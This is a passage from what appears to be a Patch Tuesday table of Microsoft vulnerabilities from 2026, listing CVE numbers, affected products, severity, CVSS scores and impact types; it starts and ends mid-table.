Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows 